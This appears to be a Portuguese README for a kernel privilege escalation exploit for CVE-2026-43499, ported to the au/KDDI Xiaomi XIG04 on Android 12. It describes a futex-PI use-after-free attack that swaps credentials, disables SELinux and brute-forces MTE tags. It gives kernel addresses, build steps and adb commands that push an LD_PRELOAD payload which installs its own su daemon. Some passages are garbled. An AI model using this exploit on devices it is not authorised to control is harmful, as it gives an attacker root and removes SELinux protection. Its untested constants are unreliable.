
Exploit de escalada de privilégios local para Xiaomi XIG04 (Android 12) via CVE-2026-43499, uma vulnerabilidade de use-after-free no kernel. Técnica de root direto somente com dados, com força bruta de tags MTE para obtenção de root como proprietário do dispositivo.
aristotle (au/KDDI Xiaomi XIG04)Escalação local de privilégios (tmp-root) para o au/KDDI Xiaomi "aristotle" (XIG04) no Android 12, via CVE-2026-43499. É uma primitiva de root para device-owner: ela dá root no seu próprio telefone (por exemplo, para reativar o ADB quando as opções de desenvolvedor estão inacessíveis).
Este é um port aristotle da implementação upstream:
https://github.com/x-spy/CVE-2026-43499-popsicle — que tem como alvo o Xiaomi
17 / Pro / Ultra (popsicle, Snapdragon, Android 16, kernel 6.12.23). Todo o
crédito pela técnica de exploit vai para o upstream; este fork apenas a
redireciona para um dispositivo e uma geração de kernel diferentes.
Escopo: seu próprio XIG04 rodando
Xiaomi/XIG04_jp_kdi/XIG04:12/SP1A.210812.016/V14.0.3.0.TMFJPKD. Não é um exploit de uso geral ou remoto.
device : aristotle (au/KDDI XIG04), MediaTek, Android 12
kernel : 5.10.136-android12-9-00020-gc9f59ef34367-ab9585114 (VA=39, 4K pages, KASLR)
CVE-2026-43499 é um use-after-free no caminho Futex-PI do kernel Linux:
remove_waiter() em kernel/locking/rtmutex.c opera em current em vez de
waiter::task durante o rollback do proxy-lock de futex_requeue(), deixando um
pi_blocked_on pendente. É um bug antigo e duradouro (afetou Linux
2.6.39 – 6.18.x), portanto o kernel 5.10.136 aqui está dentro do intervalo
(CONFIG_FUTEX_PI=y, CONFIG_RT_MUTEXES=y). O exploit usa um "direct-root"
somente com dados (troca cred → init_cred, inverte o enforcing do SELinux) e
aplica força bruta às tags MTE para sobreviver ao hardening do dispositivo
(KASAN_HW_TAGS, MTE, , ).
O upstream tem como alvo Snapdragon / Android 16 / kernel 6.12; o aristotle é MediaTek / Android 12 / kernel 5.10, então o port re-deriva tudo que é específico do dispositivo:
rt_mutex_waiter é o layout plano antigo do 5.10 (sem rt_waiter_node
aninhado, sem wake_state/ww_ctx). As tabelas de fake-waiter em
source/src/{slide,fops}.c e source/src/util.c são reconstruídas de 13
palavras para 10.xbl_config. O KASLR é derrotado dinamicamente (vazamento de
informações do kernel em slide.c); as duas constantes físicas que o upstream
tirou do Qualcomm XBL são substituídas por uma base DRAM estática
(0x40000000, da device tree) mais memstart_addr / kimage_voffset em tempo
de execução.ARISTOTLE_CVE43499_PORT.md.Um source/src/target.h medido para o XIG04 já está commitado, então você pode
compilar diretamente. Para regenerá-lo a partir de uma imagem de boot, use o
gerador aristotle (sem --xbl-config; ele emite os RVAs de
memstart_addr/kimage_voffset para uso dinâmico):
python3 gen_aristotle_target.py \
--boot boot.img \
--pselect-shift 0 \
--loggers 0xffffffc012771380 \
--boot-id-data 0xffffffc012886cf8 \
--kernel-phys-load 0x40080000 \
-o source/src/target.h
(As três âncoras e o kernel-phys-load são os valores gravados no header
commitado; veja ARISTOTLE_CVE43499_PORT.md para saber como foram obtidos.)
Requer Python 3 e o Android NDK (r29). API=31 é obrigatório para que o
payload carregue no Android 12:
make -C source clean preload API=31
Se o NDK não for detectado automaticamente:
NDK_ROOT=/path/to/android-ndk make -C source clean preload API=31
Artefato final:
source/build/bin/preload.so
adb push source/build/bin/preload.so /data/local/tmp/preload.so
adb shell 'chmod 0644 /data/local/tmp/preload.so'
adb shell 'LD_PRELOAD=/data/local/tmp/preload.so /system/bin/true'
adb shell '/data/local/tmp/su -c id'
Em caso de sucesso:
uid=0(root) gid=0(root) groups=0(root) context=u:r:kernel:s0
direct-root-summary root=1 id=1 su=1/... selinux=1->0 uid=0 euid=0 gid=0 egid=0
O preload.so incorpora e auto-instala seu próprio cliente + daemon su ao ser
carregado, portanto nenhum binário su separado é necessário.
Status: o port está com o código completo de acordo com a análise estática, mas ainda não foi validado em hardware. Valide primeiro o gatilho de crash e depois o root, no seu próprio dispositivo. Itens de ajuste específicos do kernel (
MM_ORDER,P0_KERNEL_PHYS_LOAD, o comportamento do flat-waiter) estão listados emARISTOTLE_CVE43499_PORT.md.
CFISCS